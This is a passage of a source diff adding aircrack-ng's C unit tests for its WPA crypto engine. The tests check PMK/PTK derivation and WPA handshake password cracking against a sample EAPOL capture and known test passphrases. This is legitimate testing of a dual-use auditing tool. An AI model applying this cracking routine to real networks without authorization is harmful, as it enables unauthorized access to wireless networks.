+	// PMK: Ensure single calculator functions
+	memset(key, 0, sizeof(key));
+	strcpy((char *) (key[0].v), "bo$$password");
+	key[0].length = 12;
+
+	uint8_t pmk[40];
+	memset(pmk, 0, sizeof(pmk));
+
+	dso_ac_crypto_engine_calc_one_pmk(
+		key[0].v, essid, strlen((char *) essid), pmk);
+	assert_memory_equal(pmk,
+						"\xfb\x57\x66\x8c\xd3\x38\x37\x44\x12\xc2\x62"
+						"\x08\xd7\x9a\xa5\xc3\x0c\xe4\x0a\x11\x02\x24"
+						"\xf3\xcf\xb5\x92\xa8\xf2\xe8\xbf\x53\xe8",
+						32);
+
+	// PMK: Ensure parallel calculator functions
+	memset(key, 0, sizeof(key));
+	strcpy((char *) (key[0].v), "bo$$password");
+	key[0].length = 12;
+
+	dso_ac_crypto_engine_calc_pmk(&engine, key, nparallel, 1);
+	assert_memory_equal(dso_ac_crypto_engine_get_pmk(&engine, 1, 0),
+						"\xfb\x57\x66\x8c\xd3\x38\x37\x44\x12\xc2\x62"
+						"\x08\xd7\x9a\xa5\xc3\x0c\xe4\x0a\x11\x02\x24"
+						"\xf3\xcf\xb5\x92\xa8\xf2\xe8\xbf\x53\xe8",
+						32);
+
+	for (int i = 0; i < nparallel; ++i)
+	{
+		int rc = -1;
+
+		memset(key, 0, sizeof(key));
+
+		strcpy((char*) (key[i].v), "bo$$password");
+		key[i].length = 12;
+
+		if ((rc = dso_ac_crypto_engine_wpa_crack(&engine,
+		                                         key,
+		                                         eapol,
+		                                         eapol_size,
+		                                         mic,
+		                                         3,
+		                                         expected_mic,
+		                                         nparallel,
+		                                         1))
+		    >= 0)
+		{
+			// does the returned SIMD lane equal where we placed the key?
+			assert_int_equal(rc, i);
+		}
+		else
+		{
+			assert_memory_equal(dso_ac_crypto_engine_get_pmk(&engine, 1, i),
+								"\xfb\x57\x66\x8c\xd3\x38\x37\x44\x12\xc2\x62"
+								"\x08\xd7\x9a\xa5\xc3\x0c\xe4\x0a\x11\x02\x24"
+								"\xf3\xcf\xb5\x92\xa8\xf2\xe8\xbf\x53\xe8",
+								32);
+
+			assert_memory_equal(dso_ac_crypto_engine_get_ptk(&engine, 1, i),
+								"\x2c\x76\xdc\x59\x2c\x3b\x67\x1b\xac\x23\x0f"
+								"\x6c\x9e\x38\xa0\x62\xa0\xdd\xc9\x8f\x4a\xb4"
+								"\xd6\x12\x90\x22\xfc\x7f\x45\xfe\x92\x64",
+								32);
+
+			fail_msg("While PMK and PTK computed correctly, MIC, etc. failed.");
+		}
+	}
+
+	dso_ac_crypto_engine_thread_destroy(&engine, 1);
+	dso_ac_crypto_engine_destroy(&engine);
+}
+
+void perform_unit_testing_for(void **state, int simd_flag)
+{
+	int simd_features = (int) ((uintptr_t) *state);
+
+	// load the DSO
+	ac_crypto_engine_loader_load(simd_flag);
+
+	// Check if this shared library CAN run on the machine, if not; skip testing it.
+	if (simd_features < dso_ac_crypto_engine_supported_features())
+	{
+		// unit-test cannot run without an illegal instruction.
+		skip();
+	}
+	else
+	{
+		// Perform the unit-testing; we can run without an illegal instruction exception.
+		perform_unit_testing(state);
+	}
+
+#if !defined(SANITIZE_ADDRESS)
+	ac_crypto_engine_loader_unload();
+#endif
+}
+
+void test_crypto_engine_x86_avx512f(void **state)
+{
+	perform_unit_testing_for(state, SIMD_SUPPORTS_AVX512F);
+}
+
+void test_crypto_engine_x86_avx2(void **state)
+{
+	perform_unit_testing_for(state, SIMD_SUPPORTS_AVX2);
+}
+
+void test_crypto_engine_x86_avx(void **state)
+{
+	perform_unit_testing_for(state, SIMD_SUPPORTS_AVX);
+}
+
+void test_crypto_engine_x86_sse2(void **state)
+{
+	perform_unit_testing_for(state, SIMD_SUPPORTS_SSE2);
+}
+
+void test_crypto_engine_arm_neon(void **state)
+{
+	perform_unit_testing_for(state, SIMD_SUPPORTS_NEON);
+}
+
+void test_crypto_engine_ppc_altivec(void **state)
+{
+	perform_unit_testing_for(state, SIMD_SUPPORTS_ALTIVEC);
+}
+
+void test_crypto_engine_ppc_power8(void **state)
+{
+	perform_unit_testing_for(state, SIMD_SUPPORTS_POWER8);
+}
+
+void test_crypto_engine_generic(void **state)
+{
+	perform_unit_testing_for(state, SIMD_SUPPORTS_NONE);
+}
+
+int group_setup(void **state)
+{
+	*state = (void*) ((uintptr_t) simd_get_supported_features());
+
+	return 0;
+}
+
+int main(int argc, char *argv[])
+{
+#if defined(HAVE_OPENSSL_CMAC_H) || defined(GCRYPT_WITH_CMAC_AES)
+
+const struct CMUnitTest tests[] = {
+		cmocka_unit_test(test_crypto_engine_generic),
+#if defined(__x86_64__) || defined(__i386__) || defined(_M_IX86)
+#if defined(__AVX512F__)
+		cmocka_unit_test(test_crypto_engine_x86_avx512f),
+#endif
+		cmocka_unit_test(test_crypto_engine_x86_avx2),
+		cmocka_unit_test(test_crypto_engine_x86_avx),
+		cmocka_unit_test(test_crypto_engine_x86_sse2),
+#elif defined(__arm) || defined(__aarch64) || defined(__aarch64__)
+		cmocka_unit_test(test_crypto_engine_arm_neon),
+#elif defined(__PPC__) || defined(__PPC64__)
+		cmocka_unit_test(test_crypto_engine_ppc_altivec),
+		cmocka_unit_test(test_crypto_engine_ppc_power8),
+#else
+#warning "SIMD not available."
+#endif
+	};
+	return cmocka_run_group_tests(tests, group_setup, NULL);
+
+#else
+	fprintf(stderr, "SKIP: Missing CMAC algorithm.\n");
+	return 0;
+#endif
+}

aircrack-ng-1.4.tar.gz/test/unit/test-wpapsk.c Added

@@ -0,0 +1,209 @@
+#include <stdarg.h>
+#include <stddef.h>
+#include <setjmp.h>
+#include <cmocka.h>
+
+#include <assert.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/types.h>
+
+#ifdef USE_GCRYPT
+#include "gcrypt-openssl-wrapper.h"
+#include "sha1-git.h"
+#else
+#include <openssl/hmac.h>
+#include <openssl/sha.h>
+#endif
+
+#include "aircrack-util/common.h"
+#include "aircrack-util/trampoline.h"
+#include "aircrack-crypto/crypto_engine.h"
+#include "aircrack-util/crypto_engine_loader.h"
+
+/*
+ * We must force linking to one of the support crypto libraries; however,
+ * because they are linked with our binary and not the crypto engine
+ * DSOs, at run-time we fail to run due to missing symbols.
+ *
+ * The "proper" way to handle this situation is to use --no-as-needed
+ * linker flag, specifying the libraries to always link against.
+ *
+ * Then there is Autoconf... It does not support the above flag.
+ *
+ * So, we force a bit of hacks to ensure we do link against it.
+ */
+#ifdef USE_GCRYPT
+void *keep_libgcrypt_ = &gcry_md_open;
+#else
+void *keep_libcrypto_ = &HMAC;
+#endif
+
+void perform_unit_testing(void **state)
+{
+	wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED];
+	uint8_t mic[8][20];
+	uint8_t expected_mic[20] =
+		"\xd5\x35\x53\x82\xb8\xa9\xb8\x06\xdc\xaf\x99\xcd\xaf\x56\x4e\xb6";
+	uint8_t stmac[6] = "\x00\x13\x46\xfe\x32\x0c";
+	uint8_t snonce[32] =
+		"\x59\x16\x8b\xc3\xa5\xdf\x18\xd7\x1e\xfb\x64\x23\xf3\x40\x08\x8d"
+		"\xab\x9e\x1b\xa2\xbb\xc5\x86\x59\xe0\x7b\x37\x64\xb0\xde\x85\x70";
+	uint8_t anonce[32] =
+		"\x22\x58\x54\xb0\x44\x4d\xe3\xaf\x06\xd1\x49\x2b\x85\x29\x84\xf0"
+		"\x4c\xf6\x27\x4c\x0e\x32\x18\xb8\x68\x17\x56\x86\x4d\xb7\xa0\x55";
+	uint8_t eapol[256] =
+		"\x01\x03\x00\x75\x02\x01\x0a\x00\x10\x00\x00\x00\x00\x00\x00\x00"
+		"\x01\x59\x16\x8b\xc3\xa5\xdf\x18\xd7\x1e\xfb\x64\x23\xf3\x40\x08"
+		"\x8d\xab\x9e\x1b\xa2\xbb\xc5\x86\x59\xe0\x7b\x37\x64\xb0\xde\x85"
+		"\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		"\x00\x00\x16\x30\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac"
+		"\x04\x01\x00\x00\x0f\xac\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00"
+		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
+	uint32_t eapol_size = 121;
+	ac_crypto_engine_t engine;
+	uint8_t bssid[6] = "\x00\x14\x6c\x7e\x40\x80";
+	uint8_t essid[33] = "Harkonen";
+	int nparallel = dso_ac_crypto_engine_simd_width();
+
+	memset(&engine, 0, sizeof(engine));
+	dso_ac_crypto_engine_init(&engine);
+	dso_ac_crypto_engine_set_essid(&engine, &essid[0]);
+	dso_ac_crypto_engine_thread_init(&engine, 1);
+	dso_ac_crypto_engine_calc_pke(&engine, bssid, stmac, anonce, snonce, 1);
+
+	for (int i = 0; i < nparallel; ++i)
+	{
+		int rc = -1;
+
+		memset(key, 0, sizeof(key));
+
+		strcpy((char*) (key[i].v), "12345678");
+		key[i].length = 8;
+
+		if ((rc = dso_ac_crypto_engine_wpa_crack(&engine,
+		                                         key,
+		                                         eapol,
+		                                         eapol_size,
+		                                         mic,
+		                                         2,
+		                                         expected_mic,
+		                                         nparallel,
+		                                         1))
+		    >= 0)
+		{
+			// does the returned SIMD lane equal where we placed the key?
+			assert_int_equal(rc, i);
+		}
+		else
+		{
+			fail();
+		}
+	}
+
+	dso_ac_crypto_engine_thread_destroy(&engine, 1);
+	dso_ac_crypto_engine_destroy(&engine);
+}
+
+void perform_unit_testing_for(void **state, int simd_flag)
+{
+	int simd_features = (int) ((uintptr_t) *state);
+
+	// load the DSO
+	ac_crypto_engine_loader_load(simd_flag);
+
+	// Check if this shared library CAN run on the machine, if not; skip testing it.
+	if (simd_features < dso_ac_crypto_engine_supported_features())
+	{
+		// unit-test cannot run without an illegal instruction.
+		skip();
+	}
+	else
+	{
+		// Perform the unit-testing; we can run without an illegal instruction exception.
+		perform_unit_testing(state);
+	}
+
+#if !defined(SANITIZE_ADDRESS)
+	ac_crypto_engine_loader_unload();
+#endif
+}
+
+void test_crypto_engine_x86_avx512f(void **state)
+{
+	perform_unit_testing_for(state, SIMD_SUPPORTS_AVX512F);
+}
+
+void test_crypto_engine_x86_avx2(void **state)
+{
+	perform_unit_testing_for(state, SIMD_SUPPORTS_AVX2);
+}
+
+void test_crypto_engine_x86_avx(void **state)
+{
+	perform_unit_testing_for(state, SIMD_SUPPORTS_AVX);
+}
+
+void test_crypto_engine_x86_sse2(void **state)
+{
+	perform_unit_testing_for(state, SIMD_SUPPORTS_SSE2);
+}
+
+void test_crypto_engine_arm_neon(void **state)
+{
+	perform_unit_testing_for(state, SIMD_SUPPORTS_NEON);
+}
+
+void test_crypto_engine_ppc_altivec(void **state)
+{
+	perform_unit_testing_for(state, SIMD_SUPPORTS_ALTIVEC);
+}
+
+void test_crypto_engine_ppc_power8(void **state)
+{
+	perform_unit_testing_for(state, SIMD_SUPPORTS_POWER8);
+}
+
+void test_crypto_engine_generic(void **state)
+{
+	perform_unit_testing_for(state, SIMD_SUPPORTS_NONE);
+}
+
+int group_setup(void **state)
+{
+	*state = (void*) ((uintptr_t) simd_get_supported_features());
+
+	return 0;
+}
+
+int main(int argc, char *argv[])
+{
+	const struct CMUnitTest tests[] = {
+		cmocka_unit_test(test_crypto_engine_generic),
+#if defined(__x86_64__) || defined(__i386__) || defined(_M_IX86)
+#if defined(__AVX512F__)
+		cmocka_unit_test(test_crypto_engine_x86_avx512f),
+#endif
+		cmocka_unit_test(test_crypto_engine_x86_avx2),
+		cmocka_unit_test(test_crypto_engine_x86_avx),
+		cmocka_unit_test(test_crypto_engine_x86_sse2),
+#elif defined(__arm) || defined(__aarch64) || defined(__aarch64__)
+		cmocka_unit_test(test_crypto_engine_arm_neon),
+#elif defined(__PPC__) || defined(__PPC64__)
+		cmocka_unit_test(test_crypto_engine_ppc_altivec),
+		cmocka_unit_test(test_crypto_engine_ppc_power8),
+#else
+#warning "SIMD not available."
+#endif
+	};
+	return cmocka_run_group_tests(tests, group_setup, NULL);
+}

aircrack-ng-1.2-rc4.tar.gz/test/verify_inject.py -> aircrack-ng-1.4.tar.gz/test/verify_inject.py Changed

aircrack-ng-1.4.tar.gz/test/wpaclean_crash.pcap Added

aircrack-ng-1.4.tar.gz/test/wps2.0.pcap Added